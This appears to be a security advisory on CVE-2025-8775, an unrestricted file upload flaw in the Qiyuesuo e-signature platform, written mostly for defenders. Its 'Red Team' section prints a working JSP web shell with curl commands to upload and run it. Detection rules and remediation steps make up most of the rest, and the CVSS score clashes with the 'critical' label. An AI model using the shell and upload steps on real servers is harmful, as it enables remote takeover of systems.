CVE-2025-8775

Executive Summary

CVE-2025-8775 is a critical unrestricted file upload vulnerability in the Qiyuesuo Electronic Signature Platform (versions up to 4.34). The flaw resides in the /api/code/upload endpoint, specifically within the Scheduled Task Handler component. An attacker can exploit the File argument to upload arbitrary files, including web shells, leading to remote code execution on the server. The vendor has been unresponsive, and no official patch is available. A public proof-of-concept (PoC) exists, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Java-based application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High. The combination of a public PoC, no patch, and low attack complexity makes this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The /api/code/upload endpoint, part of the Scheduled Task Handler, does not validate the type or content of uploaded files. An attacker can send a crafted HTTP POST request with a malicious file (e.g., a JSP web shell) in the File parameter. The server then stores this file in a web-accessible directory, allowing the attacker to execute arbitrary commands by accessing the uploaded file.

Root Cause: Lack of input validation and missing file type restrictions on the upload endpoint. The application likely relies on client-side checks, which are easily bypassed.

Attack Flow:

1. Attacker identifies the target Qiyuesuo instance.
2. Attacker sends a POST request to /api/code/upload with a malicious file (e.g., shell.jsp).
3. The server stores the file in a predictable path (e.g., /uploads/shell.jsp).
4. Attacker accesses the uploaded file via HTTP, triggering server-side execution.
5. Attacker gains remote code execution on the server.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Conceptual Java):

@PostMapping("/api/code/upload")
public String uploadFile(@RequestParam("File") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String uploadDir = "/var/www/uploads/";
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
    return "File uploaded successfully";
}

Patched Code (Conceptual):

@PostMapping("/api/code/upload")
public String uploadFile(@RequestParam("File") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    // Validate file extension
    if (!fileName.endsWith(".txt") && !fileName.endsWith(".pdf")) {
        return "Invalid file type";
    }
    // Sanitize filename
    fileName = fileName.replaceAll("[^a-zA-Z0-9\\.\\-]", "_");
    String uploadDir = "/var/www/uploads/";
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
    return "File uploaded successfully";
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target Qiyuesuo instance (version <= 4.34)
• HTTP client (e.g., curl, Burp Suite)
• Web shell payload (e.g., JSP, PHP, or ASPX depending on server)

Exploitation Steps:

1. Craft a Web Shell (JSP example):

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   if (cmd != null) {
       Process p = Runtime.getRuntime().exec(cmd);
       BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
       String line;
       while ((line = br.readLine()) != null) {
           out.println(line);
       }
   }
   %>
   

2. Upload the Web Shell:

   curl -X POST -F "File=@shell.jsp" http://target.com/api/code/upload
   

3. Execute Commands:

   curl http://target.com/uploads/shell.jsp?cmd=id
   

Expected Output:

uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat)

Blue Team (Defensive)

Detection Steps:

1. Monitor for POST requests to /api/code/upload with unusual file extensions (.jsp, .php, .exe, etc.).
2. Check for unexpected files in web-accessible directories (e.g., /uploads/, /files/).
3. Review server logs for file upload events and subsequent access to uploaded files.
4. Implement file integrity monitoring (FIM) on upload directories.

Hunting Query (Splunk):

index=web_logs source="/var/log/tomcat/access.log"
| where method="POST" AND uri_path="/api/code/upload"
| rex field=uri_query "File=(?<filename>[^&]+)"
| search filename IN (*.jsp, *.php, *.exe, *.war)
| table _time, clientip, filename, status

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_8775_Webshell {
    meta:
        description = "Detects JSP web shells uploaded via CVE-2025-8775"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8775"
    strings:
        $jsp_exec = "<% Runtime.getRuntime().exec(" nocase
        $jsp_cmd = "request.getParameter(\"cmd\")" nocase
        $jsp_process = "Process p = Runtime" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-8775 - Unrestricted File Upload to Qiyuesuo
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /api/code/upload with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/api/code/upload'
        cs-uri-query|contains: 'File='
    extension_filter:
        cs-uri-query|contains|any:
            - '.jsp'
            - '.php'
            - '.exe'
            - '.war'
    condition: selection and extension_filter
falsepositives:
    - Legitimate file uploads with allowed extensions (e.g., .pdf, .txt)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-8775 - Qiyuesuo Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/code/upload"; http_uri; content:"File="; http_client_body; pcre:"/\.(jsp|php|exe|war)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Scheduled Task Handler if not required.
2. Implement a Web Application Firewall (WAF) rule to block POST requests to /api/code/upload with suspicious file extensions.
3. Restrict file upload directory to non-executable permissions (e.g., no +x for JSP/ASPX).
4. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply input validation and file type whitelisting on the upload endpoint.
• Use a secure file storage mechanism (e.g., database BLOB, cloud storage with signed URLs).
• Contact the vendor for an official patch or consider migrating to an alternative solution.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert